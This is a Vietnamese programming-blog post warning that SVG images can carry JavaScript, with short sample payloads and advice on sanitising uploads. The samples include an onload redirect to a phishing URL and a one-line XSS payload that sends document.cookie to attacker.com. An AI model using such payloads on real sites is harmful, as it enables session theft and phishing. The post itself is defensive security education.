Scroll to top
Đừng tưởng SVG vô hại, file ảnh SVG có thể chứa mã độc gây hại cho tài khoản của bạn

Đừng tưởng SVG vô hại, file ảnh SVG có thể chứa mã độc gây hại cho tài khoản của bạn

02/12/2025 20:52
4min read

Rất nhiều người nghĩ file SVG chỉ là ảnh vector vô hại. Nhưng sự thật là SVG có thể chứa JavaScript, mã độc, và được hacker dùng để tấn công XSS, đánh cắp thông tin và phá web. Bài viết phân tích chi tiết cách SVG bị lợi dụng, ví dụ code minh họa và hướng dẫn cách bảo vệ an toàn.

Trong mắt nhiều người, file SVG chỉ là ảnh vector: nhẹ, sắc nét, phóng to không vỡ, rất lý tưởng cho logo, icon, banner web…
Nhưng có một sự thật khá shock: SVG không chỉ là ảnh.

SVG là file dạng văn bản (XML), và vì thế nó có thể chứa mã lệnh. Điều này biến SVG từ một file “hình ảnh” thành một vũ khí nếu rơi vào tay hacker.

SVG là gì? Tại sao nó không giống PNG/JPG?

Đừng tưởng SVG vô hại, file ảnh SVG có thể chứa mã độc gây hại cho tài khoản của bạn

Các định dạng như JPG, PNG, WEBP là ảnh dạng nhị phân (binary) – trình duyệt chỉ việc hiển thị, không có logic bên trong.

Còn SVG (Scalable Vector Graphics) thì khác hoàn toàn. Nó được viết bằng XML, nghĩa là bạn có thể mở file .svg bằng Notepad, VS Code và đọc được nội dung dạng text:

image.svg
Copy
1
2
3
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <rect x="10" y="10" width="180" height="180" fill="blue"/>
</svg>

Nghe khá vô hại đúng không? Nhưng vì nó là XML/HTML, nên trình duyệt có thể:

  • Hiểu tag
  • Diễn giải thuộc tính
  • Thậm chí chạy JavaScript nếu có nhúng vào

Và đó là điểm bắt đầu của mọi rắc rối.

File SVG có thể chứa những gì nguy hiểm?

SVG có thể chứa rất nhiều thứ… không còn “vô hại” nữa:

1. JavaScript bên trong SVG

Đừng tưởng SVG vô hại, file ảnh SVG có thể chứa mã độc gây hại cho tài khoản của bạn

SVG có thể nhúng thẳng thẻ <script>:

image.svg
Copy
1
2
3
4
5
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    alert('Hello from inside SVG!');
  </script>
</svg>

Nếu trình duyệt cho phép chạy script trong SVG → đoạn code này thực sự được thực thi.
Hacker có thể thay alert(...) bằng:

  • Gửi dữ liệu lên server của hắn
  • Redirect người dùng sang trang lừa đảo
  • Thực hiện XSS trên website cho phép upload SVG

2. Thuộc tính sự kiện: onload, onclick, …

Không cần <script> cũng đủ nguy hiểm. Một ví dụ đơn giản:

image.svg
Copy
1
2
3
<svg xmlns="http://www.w3.org/2000/svg"
     onload="window.location.href='https://example-phishing-site.com'">
</svg>

Chỉ cần người dùng mở file SVG đó trong trình duyệt → tự động bị chuyển hướng sang một trang khác (có thể là trang phishing, trang nhúng mã độc, v.v.).

Hoặc:

image.svg
Copy
1
2
3
4
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" fill="red"
        onclick="alert('You clicked me!')"/>
</svg>

Hacker có thể dùng onclick để gài thêm hành vi khi người dùng tưởng mình chỉ đang “click vào ảnh”.

3. foreignObject, iframe và nội dung HTML bên trong SVG

Đừng tưởng SVG vô hại, file ảnh SVG có thể chứa mã độc gây hại cho tài khoản của bạn

SVG còn có thể nhúng HTML thông qua foreignObject:

image.svg
Copy
1
2
3
4
5
6
7
8
9
10
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600">
  <foreignObject width="100%" height="100%">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <h1>Welcome</h1>
      <script>
        console.log('Running inside SVG foreignObject');
      </script>
    </body>
  </foreignObject>
</svg>

Trong thực tế, kẻ tấn công có thể:

  • Nhúng form giả
  • Nhúng trang đăng nhập giả
  • Nhúng các phần tử HTML “nguỵ trang” giống UI thật của web/app

Nếu kết hợp cùng CSS + JS → rất khó nhận ra đó là nội dung lừa đảo nằm trong một file ảnh.

4. Tấn công XSS thông qua upload SVG

Với các website cho phép upload SVG làm avatar, icon, hình minh họa, nếu không có bước kiểm tra (sanitize) cẩn thận, hacker có thể upload 1 file SVG có các <script>, khi admin hoặc user khác truy cập trang chứa ảnh đó, script trong SVG chạy trong context của website đó. Từ đó đánh cắp cookie, thực hiện hành động thay người dùng (CSRF style + XSS), chiếm session admin, hoặc inject thêm mã độc vào nội dung web

Một ví dụ SVG XSS cơ bản:

image.svg
Copy
1
2
3
4
<svg xmlns="http://www.w3.org/2000/svg"
     onload="fetch('https://attacker.com/log?c='+document.cookie)">
  <text x="10" y="20">Hello</text>
</svg>

Nếu được hiển thị inline trên trang web và trình duyệt không chặn → document.cookie bị gửi ra ngoài.

File SVG có thể khiến bạn mất tài khoản không?

Đừng tưởng SVG vô hại, file ảnh SVG có thể chứa mã độc gây hại cho tài khoản của bạn

Câu trả lời là: có thể, trong một số điều kiện nhất định.
SVG không phải file thực thi kiểu .exe hay .dmg, nó không “tự cài phần mềm” vào máy. Nhưng nó có thể:

  • Dẫn bạn đến trang giả mạo → bạn tự nhập mật khẩu → mất tài khoản
  • Thực hiện XSS trên web mà bạn đăng nhập → đánh cắp session
  • Nhúng nội dung giả đánh lừa bạn nhập thông tin nhạy cảm

Nguy hiểm nằm ở chỗ: người dùng nghĩ “chỉ là một file ảnh”, nên rất dễ chủ quan.

Khi nào file SVG tương đối an toàn?

Nếu một file SVG chỉ chứa các phần tử thuần đồ hoạ, ví dụ:

image.svg
Copy
1
2
3
4
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <circle cx="100" cy="100" r="80" fill="green" />
  <text x="60" y="105" font-size="20" fill="white">SAFE</text>
</svg>

Không có:

  • <script>
  • Các thuộc tính như onload, onclick, onmouseover
  • foreignObject, iframe
  • Đường dẫn lạ, request ra ngoài

→ thì khả năng cao là an toàn ở mức độ web thông thường.

Tuy nhiên, với môi trường production, đặc biệt là website cho phép người dùng upload SVG, tốt nhất vẫn nên:

  • Lọc / xoá toàn bộ tag nguy hiểm
  • Hoặc convert SVG → PNG trước khi hiển thị

Cách bảo vệ bản thân trước SVG độc

Đừng tưởng SVG vô hại, file ảnh SVG có thể chứa mã độc gây hại cho tài khoản của bạn

Đối với người dùng bình thường

  • Không mở file SVG lạ trong trình duyệt, nhất là file được gửi qua chat, email, inbox từ người không quen.
  • Nếu phải xem nội dung → mở bằng text editor (VS Code, Notepad++), xem coi bên trong có <script> hay thuộc tính bất thường không.
  • Hạn chế click bừa vào các link hoặc file chỉ vì “thấy giống ảnh”.

Đối với chủ website

  • Hạn chế hoặc chặn hẳn upload SVG nếu không cần thiết
    • Nếu không có lý do thật sự cần dùng SVG user-upload, tốt nhất chỉ cho phép PNG/JPG/WEBP hoặc chuyển SVG sang PNG phía server trước khi lưu.
  • Nếu buộc phải hỗ trợ SVG upload
    • Luôn sanitize file SVG trước khi lưu hoặc hiển thị.
    • Xóa toàn bộ:
    • <script>
    • onload, onclick, onerror, onmouseover
    • <foreignObject>, <iframe>
    • Những tag lạ hoặc không cần thiết
  • Không render SVG inline nếu không tin tưởng
    • Nếu SVG đến từ user → hạn chế render bằng <svg>...</svg> inline trong HTML.
    • Thay vào đó, hiển thị dưới dạng file độc lập (như <img src="/path/to/file.svg">) và thiết lập header Content-Type/Content-Security-Policy phù hợp để giảm rủi ro thực thi script.

SVG không xấu, nhưng rất dễ bị lợi dụng. SVG là một công cụ mạnh mẽ cho front-end, nhưng nếu thiếu ý thức bảo mật, nó có thể trở thành cánh cửa mở toang cho hacker tấn công bạn.

Bình luận

Author
hoclaptrinh.io author
Tác giả:Yuto Yasunaga

Mình là một full stack developer, tốt nghiệp và làm việc tại Nhật Bản. Trang web này là nơi mình tổng hợp, đúc kết và lưu trữ lại những kiến thức trong quá trình học và làm việc liên quan đến IT.
Hy vọng những bài viết ở website này sẽ có ích cho bạn.